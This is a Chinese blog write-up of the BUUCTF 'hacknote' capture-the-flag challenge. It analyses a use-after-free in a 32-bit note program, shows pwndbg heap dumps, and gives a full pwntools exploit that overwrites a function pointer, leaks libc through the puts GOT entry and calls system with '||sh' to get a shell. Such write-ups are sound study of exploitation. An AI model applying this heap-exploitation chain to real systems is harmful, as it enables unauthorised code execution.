

BUUCTF Hacknote

原创

Nagash1 于 2021-12-03 18:58:16 发布 2313 收藏

文章标签: [系统安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_51821131/article/details/121705125

版权

Hacknote

分析过程

```
pure@ubuntu:~$ checksec hacknote
[*] '/home/pure/hacknote'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

检查一下保护, 无pie, 32位, 谨记啊, 程序的位数, 这次就吃亏了

```
int sub_8048956()
{
    puts("-----");
    puts("      HackNote      ");
    puts("-----");
    puts(" 1. Add note      ");
    puts(" 2. Delete note   ");
    puts(" 3. Print note    ");
    puts(" 4. Exit          ");
    puts("-----");
    return printf("Your choice :");
}
```

CSDN @Nagash1

明显的堆题, 不过这次没有edit函数

```

for ( i = 0; i <= 4; ++i )
{
    if ( !ptr[i] )
    {
        ptr[i] = malloc(8u);
        if ( !ptr[i] )
        {
            puts("Alloca Error");
            exit(-1);
        }
        *(_DWORD *)ptr[i] = sub_804862B;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = ptr[i];
        v0[1] = malloc(size);
        if ( !*((_DWORD *)ptr[i] + 1) )
        {
            puts("Alloca Error");
            exit(-1);
        }
        printf("Content :");
        read(0, *((void **)ptr[i] + 1), size);
        puts("Success !");
        ++dword_804A04C;
        return __readgsdword(0x14u) ^ v5;
    }
}

```

CSDN @Nagash1

IDA View-A Pseudocode-A Strings window

```

1 int __cdecl sub_804862B(int a1)
2 {
3     return puts(*(const char **)(a1 + 4));
4 }

```

Add函数，最多创建5个堆，先malloc一个0x10的堆，然后把上面函数的地址赋给第一位，第二字赋给我们即将创建的size大小的堆

```
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
    puts("Out of bound!");
    _exit(0);
}
if ( ptr[v1] )
{
    free(*(void **)ptr[v1] + 1);
    free(ptr[v1]);
    puts("Success");
}
return __readgsdword(0x14u) ^ v3;
```

CSDN @Nagash1

Free函数，输入index，free对应堆块，只是这里没有对指针进行清零，存在UAF漏洞

```
unsigned int sub_80488A5()
{
    int v1; // [esp+4h] [ebp-14h]
    char buf; // [esp+8h] [ebp-10h]
    unsigned int v3; // [esp+Ch] [ebp-Ch]

    v3 = __readgsdword(0x14u);
    printf("Index :");
    read(0, &buf, 4u);
    v1 = atoi(&buf);
    if ( v1 < 0 || v1 >= dword_804A04C )
    {
        puts("Out of bound!");
        _exit(0);
    }
    if ( ptr[v1] )
        (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
    return __readgsdword(0x14u) ^ v3;
}
```

CSDN @Nagash1

Dump函数通过指针调用，一看就可以泄露

整理一下思路，我们可以通过创建2个大于0x10大小的堆，然后free掉他们，然后申请一个0x10的堆，就能将这2个0x10的堆利用起来了，此时在利用UAF漏洞，就能得到一个真实地址了

```
add(24,'aaaa')
add(24,'bbbb')
delete(0)
delete(1)
```

下面我们gdb看看

```
Free chunk (fastbins) | PREV_INUSE
Addr: 0x8ef7000
Size: 0x11
fd: 0x00

Free chunk (fastbins) | PREV_INUSE
Addr: 0x8ef7010
Size: 0x21
fd: 0x00

Free chunk (fastbins) | PREV_INUSE
Addr: 0x8ef7030
Size: 0x11
fd: 0x8ef7000

Free chunk (fastbins) | PREV_INUSE
Addr: 0x8ef7040
Size: 0x21
fd: 0x8ef7010
```

CSDN @Nagash1

可以看到所有的堆都被free了，其中有2个0x10大小的堆

```
pwndbg> x/40wx 0x8ef7000
0x8ef7000: 0x00000000 0x00000011 0x00000000 0x08ef7018
0x8ef7010: 0x00000000 0x00000021 0x00000000 0x00000000
0x8ef7020: 0x00000000 0x00000000 0x00000000 0x00000000
0x8ef7030: 0x00000000 0x00000011 0x08ef7000 0x08ef7048
0x8ef7040: 0x00000000 0x00000021 0x08ef7010 0x00000000
0x8ef7050: 0x00000000 0x00000000 0x00000000 0x00000000
0x8ef7060: 0x00000000 0x00020fa1 0x00000000 0x00000000
0x8ef7070: 0x00000000 0x00000000 0x00000000 0x00000000
0x8ef7080: 0x00000000 0x00000000 0x00000000 0x00000000
0x8ef7090: 0x00000000 0x00000000 0x00000000 0x00000000
```

CSDN @Nagash1

内部结构大概是这样

```
然后在申请一次
payload=p32(addr)+p32(puts_got)
add(8,payload)
```

```
Allocated chunk | PREV_INUSE
Addr: 0x85b6000
Size: 0x11

Free chunk (fastbins) | PREV_INUS
Addr: 0x85b6010
Size: 0x21
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x85b6030
Size: 0x11

Free chunk (fastbins) | PREV_INUS
Addr: 0x85b6040
Size: 0x21
fd: 0x85b6010

Top chunk | PREV_INUSE
Addr: 0x85b6060
Size: 0x20fa1

CSDN @Nagash1
```

```
pwndbg> x/40wx 0x85b6000
0x85b6000: 0x00000000 0x00000011 0x0804862b 0x0804a024
0x85b6010: 0x00000000 0x00000021 0x00000000 0x00000000
0x85b6020: 0x00000000 0x00000000 0x00000000 0x00000000
0x85b6030: 0x00000000 0x00000011 0x0804862b 0x085b6008
0x85b6040: 0x00000000 0x00000021 0x085b6010 0x00000000
0x85b6050: 0x00000000 0x00000000 0x00000000 0x00000000
0x85b6060: 0x00000000 0x00020fa1 0x00000000 0x00000000
0x85b6070: 0x00000000 0x00000000 0x00000000 0x00000000
0x85b6080: 0x00000000 0x00000000 0x00000000 0x00000000
0x85b6090: 0x00000000 0x00000000 0x00000000 0x00000000

CSDN @Nagash1
```

可以看到我们将0x0804862b重新写入了0x85b6008处，并将puts函数的got表写到了后面，之后dump一下0堆，就可以调用0x85b6008对应的函数，将puts的got表里面的值打印出来

```
dump(0)
puts_addr=u32(p.recv(4))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
print hex(offset)
sys_addr=offset+libc.dump('system')
```

有了这个真实地址后，可以通过libcsearcher找到system函数的真实地址
接下来重复上面一次，将system的地址写到堆块的第一位上，第二位写上||sh，然后dump一次堆块0就能调用system（system;sh）

这里分号是linux下的一个命令，相当于隔开前面的内容，进行命令

```
delete(2)
add(8,p32(sys_addr)+'||sh')
dump(0)
```

这里我一直犯了一个错，一开始没注意到程序是32位的，libc一直用的64的，一直出不来结果，连offset后三位也不0，虽然一直感觉有问题，直到后面换用了libcseacher，找出来的版本显示为i386才发觉libc有问题，也算长记性了

Exp

```

from pwn import *
from LibcSearcher import *

p=process('./hacknote')
#p=remote('node4.buuoj.cn',27677)
elf=ELF('./hacknote')
#libc=ELF('./libc_32.so.6')
puts_got=elf.got['puts']
addr=0x0804862b

def add(size,content):
    p.recvuntil("Your choice :")
    p.sendline('1')
    p.recvuntil("Note size :")
    p.sendline(str(size))
    p.recvuntil("Content :")
    p.send(content)

def delete(index):
    p.recvuntil("Your choice :")
    p.sendline('2')
    p.recvuntil("Index :")
    p.sendline(str(index))

def dump(index):
    p.recvuntil("Your choice :")
    p.sendline('3')
    p.recvuntil("Index :")
    p.sendline(str(index))

add(24,'aaaa')
add(24,'bbbb')
#add(24,'ddd')

delete(0)
delete(1)

payload=p32(addr)+p32(puts_got)
add(8,payload)

dump(0)
puts_addr=u32(p.recv(4))

libc=LibcSearcher('puts',puts_addr)
offest=puts_addr-libc.dump('puts')
#offest=puts_addr-libc.sym['puts']
print hex(offest)
sys_addr=offest+libc.dump('system')

delete(2)
gdb.attach(p)
add(8,p32(sys_addr)+'||sh')
#gdb.attach(p)

dump(0)

p.interactive()

```